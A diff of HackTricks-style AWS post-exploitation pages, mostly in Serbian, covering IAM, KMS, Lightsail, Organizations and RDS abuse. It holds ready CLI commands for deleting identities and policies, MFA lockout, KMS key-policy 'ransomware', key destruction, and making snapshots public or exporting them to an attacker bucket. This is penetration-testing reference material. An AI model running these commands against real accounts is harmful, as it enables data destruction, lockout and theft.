+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### Brisanje identiteta
+Sa dozvolama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ili `iam:RemoveUserFromGroup`, entitet može da obriše korisnike, uloge ili grupe — ili da promeni članstvo u grupi — uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup za osobe i servise koji zavise od tih identiteta, uzrokujući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadzirane.
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može da izbriše ili odvoji managed/inline policies, ukloni policy versions ili permissions boundaries, i odvoji politike od korisnika, grupa ili uloga. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za principals koji su zavisili od tih politika, zato ove IAM actions moraju biti strogo ograničene i nadgledane.
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### Federated Identity Deletion
+Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, i `iam:RemoveClientIDFromOpenIDConnectProvider`, napadač može izbrisati OIDC/SAML provajdere identiteta ili ukloniti client ID-e. Ovo prekida federisanu autentifikaciju, onemogućava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove.
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### Neovlašćeno omogućavanje MFA
+Uz `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeno omogućen MFA uređaj, korisnik može biti zaključan dok uređaj ne bude uklonjen ili resetovan (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, pa ovaj napad neće dovesti do uskraćivanja pristupa).
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### Manipulacija metapodacima sertifikata/ključeva
+Sa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, može prekinuti SSH autentifikaciju, učiniti X.509/TLS validacije nevažećim i odmah ometati servise koji zavise od tih credentials, uzrokujući gubitak pristupa ili dostupnosti.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## Izvori
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-For more information check:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Šifrovanje/Dešifrovanje informacija
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.
-- `file://:` Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za enkodiranje.
-
-> [!TIP]
-> Imajte na umu da ako želite da dešifrujete podatke iz fajla, fajl mora da sadrži binarne podatke, a ne base64 enkodirane podatke. (fileb://)
-
-- Koristeći **symmetric** ključ
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- Korišćenje **asimetričnog** ključa:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-Napadač sa privilegovanim pristupom KMS-u može izmeniti KMS policy ključeva i **dodeliti svom nalogu pristup tim ključevima**, uklanjajući pristup dodeljen legitimnom nalogu.
-
-Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim podacima bilo koje usluge koji su šifrovani tim ključevima, stvarajući jednostavan ali efikasan ransomware nad nalogom.
-
-> [!WARNING]
-> Imajte na umu da **AWS managed keys nisu pogođene** ovim napadom, već samo **Customer managed keys**.
-
-> Takođe imajte na umu potrebu da se koristi parametar **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-ja).
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i onda sa tog eksternog naloga pokušate da postavite novu politiku da **vratite pristup originalnom nalogu, nećete moći cause the Put Polocy action cannot be performed from a cross account**.
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi obuhvatao sledeće korake:
-
-- Kreirajte novi **ključ sa materijalom ključa** koji je importovao napadač
-- **Ponovo enkriptujte starije podatke** žrtve koji su bili enkriptovani prethodnom verzijom, novom verzijom.
-- **Delete the KMS key**
-- Sada samo napadač, koji poseduje originalni materijal ključa, mogao bi da dekriptuje šifrovane podatke
-
-### Brisanje ključeva preko kms:DeleteImportedKeyMaterial
-
-Sa `kms:DeleteImportedKeyMaterial` permisijom, akter može obrisati importovani materijal ključa iz CMKs sa `Origin=EXTERNAL` (CMKs koji su importovali svoj materijal ključa), čineći ih nesposobnim da dekriptuju podatke. Ova akcija je destruktivna i nepovratna osim ako se kompatibilni materijal ponovo ne importuje, što omogućava napadaču da efektivno prouzrokuje gubitak podataka sličan ransomwareu tako što učini šifrovane informacije trajno nedostupnim.
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Uništavanje ključeva
-
-Uništavanjem ključeva moguće je izvršiti DoS.
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> Imajte na umu da AWS sada **sprečava da se prethodne akcije izvrše iz cross account:**
->
-> ### Promeni ili izbriši Alias
-> Ovaj napad briše ili preusmerava AWS KMS aliases, narušavajući rešavanje ključeva i izazivajući trenutne greške u svim servisima koji zavise od tih aliases, što rezultira denial-of-service. Sa dozvolama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias`, napadač može ukloniti ili preusmeriti aliases i poremetiti kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji koristi alias umesto key ID može otkazati dok se alias ne obnovi ili pravilno preslika.
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Poništavanje zakazanog brisanja ključa
-Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Na taj način se oporavlja ključ (isprva u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Onemogućavanje ključa
-Sa `kms:DisableKey` dozvolom, entitet može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za encryption ili decryption. Ovo prekida pristup svim servisima koji zavise od tog CMK i može izazvati trenutne poremećaje ili denial-of-service dok se ključ ponovo ne omogući.
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### Izvođenje zajedničke tajne
-Sa dozvolom `kms:DeriveSharedSecret`, entitet može da iskoristi privatni ključ koji KMS čuva uz korisnički dostavljen javni ključ da izračuna ECDH zajedničku tajnu.
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Lažno predstavljanje putem `kms:Sign`
-Sa dozvolom `kms:Sign`, napadač može da koristi CMK smešten u KMS da kriptografski potpiše podatke bez izlaganja privatnog ključa, proizvodeći važeće potpise koji mogu omogućiti lažno predstavljanje ili autorizovati zlonamerne radnje.
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS sa Custom Key Stores
-Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, prekinuti vezu ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije šifrovanja, dešifrovanja i potpisivanja za bilo koje servise koji se oslanjaju na te ključeve i može izazvati trenutni denial-of-service. Ograničavanje i praćenje tih dozvola je zato kritično.
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md

@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Šifrovanje/dešifrovanje informacija
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.
+- `file://:` Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za kodiranje.
+
+> [!TIP]
+> Imajte na umu da, ako želite dešifrovati podatke u fajlu, fajl mora sadržati binarne podatke, a ne base64 enkodirane podatke. (fileb://)
+
+- Korišćenje **simetričnog** ključa
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- Koristeći **asimetrični** ključ:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+Napadač koji ima privilegovani pristup KMS-u može izmeniti KMS policy ključeva i **dodeliti svom nalogu pristup njima**, uklanjajući pristup dodeljen legitimnom nalogu.
+
+Tada korisnici legitimnog naloga neće moći da pristupe informacijama nijedne usluge koja je šifrovana tim ključevima, što stvara jednostavan ali efikasan ransomware nad nalogom.
+
+> [!WARNING]
+> Imajte na umu da **AWS managed keys nisu pogođene** ovim napadom, samo **Customer managed keys**.
+
+> Takođe napomena o potrebi korišćenja parametra **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI).
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i zatim iz tog eksternog naloga pokušate da postavite novu politiku da **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### Generički KMS Ransomware
+
+Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:
+
+- Napravite novi **key with a key material** importovan od strane napadača
+- **Re-encrypt older data** žrtve koja je bila šifrovana prethodnom verzijom, koristeći novu
+- **Delete the KMS key**
+- Sada samo napadač, koji poseduje originalni key material, može da dešifruje šifrovane podatke
+
+### Brisanje ključeva putem kms:DeleteImportedKeyMaterial
+
+Sa permisijom `kms:DeleteImportedKeyMaterial`, akter može obrisati importovanu key material iz CMKs sa `Origin=EXTERNAL` (CMKs that have imperted their key material), čineći ih nesposobnim za dešifrovanje podataka. Ova akcija je destruktivna i nepovratna osim ako kompatibilan materijal nije ponovo importovan, omogućavajući napadaču da efektivno izazove ransomware-like gubitak podataka tako što će enkriptovane informacije učiniti trajno nedostupnim.
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Destroy keys
+
+Destroying keys — moguće je izvesti DoS.
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> Imajte na umu da AWS sada **sprečava da se prethodne radnje izvršavaju iz drugog naloga:** 
+
+### Promeni ili obriši Alias
+Ovaj napad briše ili preusmerava AWS KMS aliases, prekidajući rezoluciju ključeva i izazivajući trenutne greške u svim servisima koji se oslanjaju na te aliases, što rezultira denial-of-service. Sa privilegijama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias` napadač može ukloniti ili preusmeriti aliases i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može zakazati dok se alias ne vrati ili pravilno mapira.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Poništavanje brisanja ključa
+Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ oporavlja (prvobitno u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Disable Key
+Sa dozvolom `kms:DisableKey`, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za šifrovanje ili dešifrovanje. Ovo prekida pristup svim servisima koji zavise od tog CMK-a i može izazvati trenutne prekide rada ili denial-of-service dok ključ ponovo ne bude omogućen.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Izračunavanje zajedničke tajne
+Sa dozvolom `kms:DeriveSharedSecret`, entitet može da koristi privatni ključ u KMS-u zajedno sa javnim ključem koji dostavi korisnik da izračuna ECDH zajedničku tajnu.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+Sa dozvolom `kms:Sign`, napadač može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja privatnog ključa, generišući važeće potpise koji mogu omogućiti impersonation ili autorizovati zlonamerne radnje.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, prekinuti vezu sa ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za sve servise koji zavise od tih ključeva i može izazvati trenutni denial-of-service. Zbog toga je kritično ograničiti i nadgledati te dozvole.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Za više informacija, proverite:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Vratite stare DB snimke
-
-Ako DB ima snimke, možda ćete moći da **pronađete osetljive informacije koje su trenutno obrisane u starim snimcima**. **Vratite** snimak u **novu bazu podataka** i proverite ga.
-
-### Vratite snimke instance
-
-Snimci instance mogu sadržati **osetljive informacije** već obrisanih instanci ili osetljive informacije koje su obrisane u trenutnoj instanci. **Kreirajte nove instance iz snimaka** i proverite ih.\
-Ili **izvezite snimak u AMI u EC2** i pratite korake tipične EC2 instance.
-
-### Pristupite osetljivim informacijama
-
-Pogledajte Lightsail privesc opcije da biste saznali različite načine za pristup potencijalnim osetljivim informacijama:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md

@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Za više informacija, pogledajte:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Vraćanje starih DB snapshot-ova
+
+Ako DB ima snapshot-ove, možda ćete moći da **pronađete osetljive informacije koje su trenutno obrisane u starim snapshot-ovima**. **Vratite** snapshot u **novu bazu podataka** i proverite je.
+
+### Vraćanje snapshot-ova instance
+
+Instance snapshots mogu da sadrže **osetljive informacije** iz već obrisanih instanci, ili osetljive informacije koje su obrisane u trenutnoj instanci. **Kreirajte nove instance iz snapshot-ova** i proverite ih.\
+Ili **eksportujte snapshot u AMI u EC2** i pratite korake tipične EC2 instance.
+
+### Pristup osetljivim informacijama
+
+Pogledajte Lightsail privesc opcije da biste naučili različite načine za pristup potencijalno osetljivim informacijama:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -1,17 +0,0 @@
-# AWS - Organizacije Post Eksploatacije
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizacije
-
-Za više informacija o AWS Organizacijama pogledajte:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Napusti Org
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md

@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Za više informacija o AWS Organizations pogledajte:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Napuštanje organizacije
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-For more information check:
+Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupnim** kreiranjem snapshot-a DB, a zatim kreiranjem javno dostupnog DB iz tog snapshot-a.
+Ako napadač ima dovoljno dozvola, može da učini **DB javno dostupnim** kreiranjem snapshot-a baze podataka, a zatim kreiranjem javno dostupne DB iz tog snapshot-a.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Napadač sa ovim dozvolama bi mogao **kreirati snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim bi mogao jednostavno kreirati u svom nalogu DB iz tog snapshota.
+Napadač sa ovim dozvolama može **napraviti snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim, može u svom nalogu kreirati DB iz tog snapshot-a.
 
-Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** kreirane snapshot-ove **javnim**.
+Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **ostale** kreirane snapshot-e **javnim**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupni kredencijali slučajno zabeleženi u logovima, napadač bi potencijalno mogao iskoristiti te informacije da eskalira privilegije ili izvrši neovlašćene radnje.
+Napadač sa dozvolom `rds:DownloadDBLogFilePortion` može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupne akreditive slučajno zabeleženi u logu, napadač bi potencijalno mogao iskoristiti te informacije da poveća svoje privilegije ili izvrši neovlašćene radnje.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje koristeći leaked credentials.
+**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
@@ -66,35 +66,35 @@ Napadač sa ovim dozvolama može **DoS postojeće RDS instance**.
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.
+**Potential impact**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: Test
+> TODO: Testirati
 
-Napadač koji ima ovu dozvolu može **eksportovati RDS instance snapshot u S3 bucket**. Ako napadač ima kontrolu nad odredišnim S3 bucket-om, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshot-a.
+Napadač sa ovom dozvolom može **izvesti snapshot RDS instance u S3 bucket**. Ako napadač kontroliše odredišni S3 bucket, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshota.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Mogući uticaj**: pristup osetljivim podacima u izvezenom snapshot
+**Potencijalni uticaj**: Pristup osetljivim podacima u eksportovanom snapshot-u.
 
 ### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Iskoristiti cross-Region automated backups replication da tiho duplirate automated backups RDS instance-a u drugi AWS Region i tamo ih restore-ujete. Napadač potom može učiniti obnovljeni DB javno dostupnim i resetovati master lozinku kako bi pristupio podacima out-of-band u Regionu koji odbrambeni timovi možda ne prate.
+Abuse cross-Region automated backups replication da tiho duplirate automated backups RDS instance u drugu AWS Region i obnovite ih tamo. Napadač potom može učiniti vraćenu DB javno dostupnom i resetovati master lozinku kako bi pristupio podacima van nadzora u Regionu koji odbrambeni timovi možda ne prate.
 
-Permissions needed (minimum):
-- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
-- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
-- `rds:RestoreDBInstanceToPointInTime` in the destination Region
-- `rds:ModifyDBInstance` in the destination Region
-- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
+Potrebne dozvole (minimum):
+- `rds:StartDBInstanceAutomatedBackupsReplication` u odredišnoj regiji
+- `rds:DescribeDBInstanceAutomatedBackups` u odredišnoj regiji
+- `rds:RestoreDBInstanceToPointInTime` u odredišnoj regiji
+- `rds:ModifyDBInstance` u odredišnoj regiji
+- `rds:StopDBInstanceAutomatedBackupsReplication` (opciono čišćenje)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (da izložite vraćenu DB)
 
-Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
+Uticaj: Održavanje pristupa i eksfiltracija podataka vraćanjem kopije produkcijskih podataka u drugu regiju i javnim izlaganjem sa kredencijalima pod kontrolom napadača.
 
 <details>
-<summary>End-to-end CLI (replace placeholders)</summary>
+<summary>End-to-end CLI (zamenite placeholder-e)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Omogućite potpuno SQL logovanje preko DB parameter grupa i eksfiltrirajte preko RDS log API-ja
+### Omogućite kompletno SQL logovanje preko DB parameter grupa i eksfiltrirajte putem RDS log API-ja
 
